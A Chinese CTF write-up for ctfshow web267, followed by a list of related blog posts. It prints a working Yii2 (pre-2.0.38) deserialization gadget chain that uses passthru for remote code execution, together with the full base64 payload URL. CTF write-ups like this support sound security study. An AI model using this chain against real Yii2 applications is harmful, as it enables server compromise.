目录

  • 思路
  • 题解
  • 总结

思路

进去是一个网页,在login页面试了下密码,发现是admin:admin,成功登录,但发现没什么改变

一个个页面查看源代码,最后再about页面中发现提示


访问?r=site%2Fabout&view-source拿到提示

///backdoor/shell
unserialize(base64_decode($_GET['code']))

刚开始不知道怎么去用,后面想到%2F就是/,尝试了下r=/backdoor/shell,提示要加上参数,然后思路又断了,应该是信息收集的不够


用Wappalyzer插件发现用的是Yli框架,又再源码中得知他用的是2.0版本,网上搜下有没有相关漏洞



参考博客:https://blog.csdn.net/xuandao_ahfengren/article/details/111259943中给出的exp,适用于Yii2 2.0.38 之前的版本

<?php
namespace yii\rest{class CreateAction{public $checkAccess;public $id;public function __construct(){$this->checkAccess = 'phpinfo';$this->id = '1';}}
}namespace Faker{use yii\rest\CreateAction;class Generator{protected $formatters;public function __construct(){$this->formatters['close'] = [new CreateAction(), 'run'];}}
}namespace yii\db{use Faker\Generator;class BatchQueryResult{private $_dataReader;public function __construct(){$this->_dataReader = new Generator;}}
}
namespace{echo base64_encode(serialize(new yii\db\BatchQueryResult));//TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19
}
?>

成功显示phpinfo页面

题解

发现用passthru可以直接rce

exp:

<?php
namespace yii\rest{class CreateAction{public $checkAccess;public $id;public function __construct(){$this->checkAccess = 'passthru';$this->id = 'tac /flag';}}
}namespace Faker{use yii\rest\CreateAction;class Generator{protected $formatters;public function __construct(){$this->formatters['close'] = [new CreateAction(), 'run'];}}
}namespace yii\db{use Faker\Generator;class BatchQueryResult{private $_dataReader;public function __construct(){$this->_dataReader = new Generator;}}
}
namespace{echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?r=/backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6ODoicGFzc3RocnUiO3M6MjoiaWQiO3M6OToidGFjIC9mbGFnIjt9aToxO3M6MzoicnVuIjt9fX19

总结

挺难的

CTFshow 反序列化 web267相关推荐

  1. ctfshow 反序列化篇(下)

    web267(yii框架) 开启靶机,是一个网站,试着搜索有没有重要信息.在这里发现是yii框架. 我们使用弱口令admin/admin就可以登录进来了,那就继续收集重要信息.在源代码中发现了重要注释 ...

  2. CTFshow 反序列化 web266

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-04 23:52:24 # ...

  3. CTFshow 反序列化 web259

    目录 源码 思路 题解 总结 源码 <?phphighlight_file(__FILE__);$vip = unserialize($_GET['vip']); //vip can get f ...

  4. CTFshow 反序列化 web277

    目录 源码 题解 总结 源码 查看源代码 提示pickle,得知考点是pickle反序列化 题解 exp 试了几次不能用bash,最后用了/bin/sh,因为环境里面没有装bash,得不到响应nc连上 ...

  5. CTFshow 反序列化 web261

    目录 源码 思路 题解 总结 源码 <?phphighlight_file(__FILE__);class ctfshowvip{public $username;public $passwor ...

  6. CTFshow 反序列化 web260

    目录 源码 思路 题解 总结 源码 <?phperror_reporting(0); highlight_file(__FILE__); include('flag.php');if(preg_ ...

  7. CTFshow 反序列化 web262

    目录 源码 思路 题解 解法一 直接构造类进行序列化 解法二 字符逃逸 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date ...

  8. CTFshow 反序列化 web263

    目录 源码 思路 题解 总结 源码 也没有什么别的信息,扫一下目录,下载www.zip拿到源码 思路 知识点: php在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处 ...

  9. CTFshow 反序列化 web258

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-02 17:44:47 # ...

最新文章

  1. sphinx+coreseek+php扩展--用php程序实现中文拆词
  2. BeetleX.FastHttpApi之Vuejs扩展
  3. 黑马ee在职进阶视频_进阶– Java EE 7前端5强
  4. 信息学奥赛一本通(2065:【例2.2】整数的和)
  5. day14 Python函数
  6. IOS 获取系统通讯录中的联系人信息
  7. python51课视频_【Python 课堂】第51课—— and-or技巧
  8. linux php pdo dblib,PDO_DBLIB (MSSQL) on Ubuntu Server
  9. koa2 引擎模版html,Koa2模板引擎Ejs使用教程
  10. 《OpenStack实战指南》—— 1.4 OpenStack与CloudStack的比较
  11. InTouch蜂鸣器报警提示方法
  12. WMI服务不存在或标记为删除解决方案
  13. Java注释的重要性
  14. 什么是逻辑地址,什么是物理地址,为什么要进行二者的转换工作?
  15. Python中的运算符与表达式 1
  16. php a链接跳转下载,PHP实现点击a标签的href做链接时,直接保存文件(任何类型),而不是通过浏览器直接打开下载的文件...
  17. 软件测试--测试用例
  18. Linux查看系统信息命令总结
  19. 写一个简单的MTK图片管理工具
  20. 解决STM32新增加函数出现Undefined symbol HAL_ADC_Init (referred from main.o). 问题

热门文章

  1. 系统架构师学习笔记_第三章_连载
  2. NeatUpload的安装使用
  3. PMP中关于配置管理系统和配置管理项
  4. linux内核 DebugFS
  5. 怎么查计算机网络硬件配置,如何查看电脑本机的硬件配置?
  6. char,Character,int,字符及编码日记 1
  7. 20155222卢梓杰 课堂测试ch06补做
  8. 纯JS制作的窗户雨滴效果
  9. Sumif——可以用来发函证和进行重分类
  10. 剑指Offer(Java实现)删除链表中重复的结点